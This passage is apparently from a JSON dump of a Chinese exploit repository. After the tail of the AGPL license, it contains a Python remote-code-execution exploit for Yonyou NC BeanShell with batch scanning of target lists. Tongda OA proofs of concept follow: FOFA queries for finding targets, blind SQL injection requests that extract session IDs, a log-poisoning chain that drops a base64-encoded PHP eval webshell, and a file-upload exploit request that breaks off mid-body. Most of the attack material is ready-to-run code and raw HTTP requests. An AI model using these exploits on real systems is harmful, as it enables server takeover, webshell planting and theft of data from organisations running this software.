unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>.\n"
  },
  {
    "path": "OA漏洞/用友NC/exp/NC_BeanShell_RCE.py",
    "content": "# -*- coding: utf-8 -*-\nimport argparse\nimport time\n\nimport requests\nimport re\nimport sys\nfrom urllib.parse import quote\nfrom pyfiglet import Figlet\n\nRED = '\\x1b[1;91m'\nBLUE = '\\033[1;94m'\nGREEN = '\\033[1;32m'\nBOLD = '\\033[1m'\nENDC = '\\033[0m'\n\ndef check_host(host):\n    if not host.startswith(\"http\"):\n        print(RED+'[x] ERROR: Host \"{}\" should start with http or https\\n'.format(host)+ENDC)\n        return False\n    else:\n        return True\n\ndef NcCheck(target_url):\n    print(GREEN+\"TARGET:\"+target_url)\n    print(BLUE + '[*]正在检测漏洞是否存在\\n' + ENDC)\n    url = target_url + '/servlet/~ic/bsh.servlet.BshServlet'\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.360'\n    }\n    try:\n        response = requests.get(url=url, headers=headers, timeout=5)\n        if response.status_code == 200 and 'BeanShell' in response.text:\n            print(GREEN + '[+]BeanShell页面存在, 可能存在漏洞: {}\\n'.format(url) + ENDC)\n            return True\n        else:\n            print(RED + '[-]漏洞不存在\\n' + ENDC)\n    except:\n        print(RED + '[-]无法与目标建立连接\\n' + ENDC)\n\n\ndef NcRce(url,command):\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.360',\n        'Content-Type': 'application/x-www-form-urlencoded'\n    }\n    while True:\n        data = 'bsh.script=' + quote('''exec(\"cmd /c {}\")'''.format(command.replace('\\\\', '\\\\\\\\')), 'utf-8')\n        try:\n            response = requests.post(url=url, headers=headers, data=data)\n            pattern = re.compile('<pre>(.*?)</pre>', re.S)\n            result = re.search(pattern, response.text)\n            print(result[0].replace('<pre>', '').replace('</pre>', ''))\n        except:\n            print(RED + '[-]未知错误\\n' + ENDC)\n            sys.exit(0)\n\ndef main():\n    f = Figlet(width=2000)\n    print(f.renderText(\"Cuerz\"))\n\n    parser = argparse.ArgumentParser(description='CNVD-2021-30167')\n    print('Example: YONYOU-NC-RCE.py -u http://www.emample.com --check')\n\n    parser.add_argument(\"-u\", \"--url\", help='Start scanning url')\n    parser.add_argument(\"-f\", \"--file\", help='read the url from the file')\n    parser.add_argument(\"--check\", required=False, default=False, action='store_true', help='Check if vulnerable')\n    parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: \"ls -l\")')\n    args = parser.parse_args()\n\n    if args.url and check_host(args.url):\n        if args.check:\n            NcCheck(args.url)\n        elif args.cmd:\n            NcRce(args.url,args.cmd)\n\n    elif args.file:\n        f = open(args.file,\"r\")\n        all = f.readlines()\n        for i in all:\n            url = i.strip()\n            if check_host(url):\n                if NcCheck(url):\n                    with open('Exist.txt', 'a+') as fp:\n                        fp.write(url + '\\n')\n            time.sleep(0.2)\n\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "OA漏洞/用友NC/用友NC BeanShell远程代码执行.md",
    "content": "# 用友NC BeanShell远程代码执行 \n\n# CNVD-2021-30167\n\n## 漏洞描述\n\n用友NC是一款企业级管理软件，在大中型企业广泛使用。实现建模、开发、继承、运行、管理一体化的IT解决方案信息化平台。用友 NC bsh.[servlet](https://so.csdn.net/so/search?q=servlet&spm=1001.2101.3001.7020).BshServlet 存在远程命令执行漏洞，通过BeanShell 执行远程命令获取服务器权限。\n\n## 漏洞影响\n\n```\nNC 6.5版本\n```\n\n## FOFA\n\n```\ntitle=\"YONYOU NC\"\nicon_hash=\"1085941792\"\n```\n\n## POC\n\n```\n用友访问地址+/servlet/~ic/bsh.servlet.BshServlet\n```\n\n一键验证脚本见 **YONYOU-NC-RCE.py**\n\n```\npython ./YONYOU-NC-RCE.py -u http://www.example.com --check\npython ./YONYOU-NC-RCE.py -u http://www.example.com --cmd \"ls -la\"\npython ./YONYOU-NC-RCE.py -f target.txt\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u URL, --url URL     Start scanning url\n  -f FILE, --file FILE  read the url from the file\n  --check               Check if vulnerable\n  --cmd CMD             execute cmd (i.e: \"ls -l\")\n```\n\n"
  },
  {
    "path": "OA漏洞/通达OA/通达OA v11.5 swfupload_new.php SQL注入漏洞.md",
    "content": "# 通达OA v11.5 swfupload_new.php SQL注入漏洞\r\n\r\n## 漏洞描述\r\n\r\n通达OA v11.5 swfupload_new.php 文件存在SQL注入漏洞，攻击者通过漏洞可获取服务器敏感信息\r\n\r\n## 漏洞影响\r\n\r\n```\r\n通达OA v11.5\r\n```\r\n\r\n## FOFA\r\n\r\n```\r\napp=\"TDXK-通达OA\"\r\n```\r\n\r\n## poc\r\n\r\n```\r\nPOST /general/file_folder/swfupload_new.php HTTP/1.1\r\nHost: \r\nUser-Agent: Go-http-client/1.1\r\nContent-Length: 355\r\nContent-Type: multipart/form-data; boundary=----------GFioQpMK0vv2\r\nAccept-Encoding: gzip\r\n\r\n------------GFioQpMK0vv2\r\nContent-Disposition: form-data; name=\"ATTACHMENT_ID\"\r\n\r\n1\r\n------------GFioQpMK0vv2\r\nContent-Disposition: form-data; name=\"ATTACHMENT_NAME\"\r\n\r\n1\r\n------------GFioQpMK0vv2\r\nContent-Disposition: form-data; name=\"FILE_SORT\"\r\n\r\n2\r\n------------GFioQpMK0vv2\r\nContent-Disposition: form-data; name=\"SORT_ID\"\r\n\r\n------------GFioQpMK0vv2--\r\n```"
  },
  {
    "path": "OA漏洞/通达OA/通达OA v11.6 insert SQL注入漏洞.md",
    "content": "# 通达OA v11.6 insert SQL注入漏洞\r\n\r\n## 漏洞描述\r\n\r\n通达OA v11.6 insert参数包含SQL注入漏洞，攻击者通过漏洞可获取数据库敏感信息\r\n\r\n## 漏洞影响\r\n\r\n```\r\n通达OA v11.6\r\n```\r\n\r\n## 网络测绘\r\n\r\n```\r\napp=\"TDXK-通达OA\"\r\n```\r\n\r\n## 漏洞复现\r\n\r\n登陆页面\r\n\r\n![image-20220520154138233](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/202205201541419.png)\r\n\r\n发送请求包判断漏洞\r\n\r\n```\r\nPOST /general/document/index.php/recv/register/insert HTTP/1.1\r\nHost: \r\nUser-Agent: Go-http-client/1.1\r\nContent-Length: 77\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip\r\n\r\ntitle)values(\"'\"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=\r\n```\r\n\r\n返回302则是存在漏洞，返回500则不存在\r\n\r\n![image-20220520154148858](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/202205201541900.png)\r\n\r\n确认存在漏洞后，再通过SQL注入获取 SessionID进一步攻击\r\n\r\n```\r\nPOST /general/document/index.php/recv/register/insert HTTP/1.1\r\nHost: \r\nUser-Agent: Go-http-client/1.1\r\nContent-Length: 122\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip\r\n\r\ntitle)values(\"'\"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER=\r\n```"
  },
  {
    "path": "OA漏洞/通达OA/通达OA v11.8 getway.php 远程文件包含漏洞.md",
    "content": "# 通达OA v11.8 getway.php 远程文件包含漏洞\r\n\r\n## 漏洞描述\r\n\r\n通达OA v11.8 getway.php 存在文件包含漏洞，攻击者通过发送恶意请求包含日志文件导致任意文件写入漏洞\r\n\r\n## 漏洞影响\r\n\r\n```\r\n通达OA v11.8\r\n```\r\n\r\n## FOFA\r\n\r\n```\r\napp=\"TDXK-通达OA\"\r\n```\r\n\r\n## 漏洞复现\r\n\r\n登陆页面\r\n\r\n![image-20220520154525896](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/202205201545994.png)\r\n\r\n发送恶意请求让日志被记录\r\n\r\n```\r\nGET /d1a4278d?json={}&aa=<?php @fputs(fopen(base64_decode('Y21kc2hlbGwucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWRzaGVsbCddKTs/Pg=='));?> HTTP/1.1\r\nHost: \r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\n```\r\n\r\n![image-20220520154539264](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/202205201545324.png)\r\n\r\n在通过漏洞包含日志文件\r\n\r\n```\r\nPOST /ispirit/interface/gateway.php HTTP/1.1\r\nHost: \r\nUser-Agent: Go-http-client/1.1\r\nContent-Length: 54\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip\r\n\r\njson={\"url\":\"/general/../../nginx/logs/oa.access.log\"}\r\n```\r\n\r\n![image-20220520154553517](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/202205201545558.png)\r\n\r\n再次发送恶意请求写入文件\r\n\r\n```\r\nPOST /mac/gateway.php HTTP/1.1\r\nHost: \r\nUser-Agent: Go-http-client/1.1\r\nContent-Length: 54\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip\r\n\r\njson={\"url\":\"/general/../../nginx/logs/oa.access.log\"}\r\n```\r\n\r\n访问写入的文件 `/mac/cmdshell.php`\r\n\r\n![image-20220520154623095](https://0-bit.oss-cn-beijing.aliyuncs.com/cuer/202205201546179.png)"
  },
  {
    "path": "OA漏洞/通达OA/通达OA v2017 action_upload.php 任意文件上传漏洞.md",
    "content": "# **通达OA v2017 action_upload.php 任意文件上传漏洞**\r\n\r\n## 漏洞描述\r\n\r\n通达OA v2017 action_upload.php 文件过滤不足且无需后台权限，导致任意文件上传漏洞\r\n\r\n## 漏洞影响\r\n\r\n```\r\n通达OA v2017\r\n```\r\n\r\n## FOFA\r\n\r\n```\r\napp=\"TDXK-通达OA\" \r\n```\r\n\r\n## poc\r\n\r\n```\r\nPOST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: multipart/form-data; boundary=---------------------------157569659620694477453109954647\r\nContent-Length: 879\r\nConnection: close\r\nCookie: PHPSESSID=t0a1f7nd58egc83cnpv045iua4; KEY_RANDOMDATA=16407\r\nUpgrade-Insecure-Requests: 1\r\n\r\n-----------------------------157569659620694477453109954647\r\nContent-Disposition: form-data; name=\"CONFIG[fileFieldName]\"\r\n\r\nff\r\n-----------------------------157569659620694477453109954647\r\nContent-Disposition: form-data; name=\"CONFIG[fileMaxSize]\"\r\n\r\n1000000000\r\n-----------------------------157569659620694477453109954647\r\nContent-Disposition: form-data; name=\"CONFIG[filePathFormat]\"\r\n\r\nApi/conf\r\n-----------------------------157569659620694477453109954647\r\nContent-Disposition: form-data; 